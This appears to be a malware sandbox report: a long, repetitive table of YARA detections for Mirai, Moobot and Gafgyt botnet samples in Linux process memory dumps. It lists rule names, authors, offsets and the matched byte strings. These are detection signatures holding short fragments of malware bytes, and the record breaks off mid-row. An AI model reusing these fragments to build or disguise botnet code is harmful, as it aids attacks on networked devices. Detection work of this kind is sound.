6502.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6502.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6754.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6754.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6754.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6754.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6754.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6754.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7214.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6318.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6318.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6318.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6318.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6318.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6318.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6593.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7267.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6611.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6328.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7285.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6866.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6340.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7075.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6867.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6867.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6867.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6867.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6867.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6867.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6845.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7279.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7191.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6644.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6652.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6652.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6652.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6652.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6652.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 